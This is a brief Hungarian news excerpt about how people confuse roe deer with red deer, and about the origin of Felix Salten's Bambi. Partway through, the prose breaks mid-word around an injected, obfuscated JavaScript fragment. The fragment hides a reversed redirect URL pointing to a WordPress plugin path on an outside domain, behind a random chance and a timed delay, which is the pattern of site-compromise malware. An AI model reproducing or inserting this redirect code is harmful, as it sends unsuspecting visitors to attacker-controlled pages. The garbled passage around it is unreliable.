Vadászként többen találkozhatnak azzal, hogy az emberek nincsenek tisztában, hogy őzről vagy szarvasról van szó. Párosujjú patás, erdőlakóról van szó mindkét esetben, a két állatfaj között nincs más hasonlóság. A félreértés valószínűleg Bambihoz is köthető. Azt a kedves kis őzikét, akit a meséből is ismerünk egy Budapesten született férfinek, Siegmund Salmann-nak köszönhetünk. A később Felix Salten néven futó író 1923-ban jelentette meg leghíresebb művét, az édes őzikéről szóló történetét, a Bambit. A Bambi az olasz bambino, vagyis gyermek szóból kialakítoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tott elnevezés. A könyv borítóján eredetileg őz szerepelt, de aztán már szarvas is megjelent a borítón. Az angolban és a németben…
A cikk folytatódik: http://vadaszideny.co.hu/hirek/2019/09/12/bambi-marad-oz-es-nem-valik-szarvassa.html
- Hirdetés -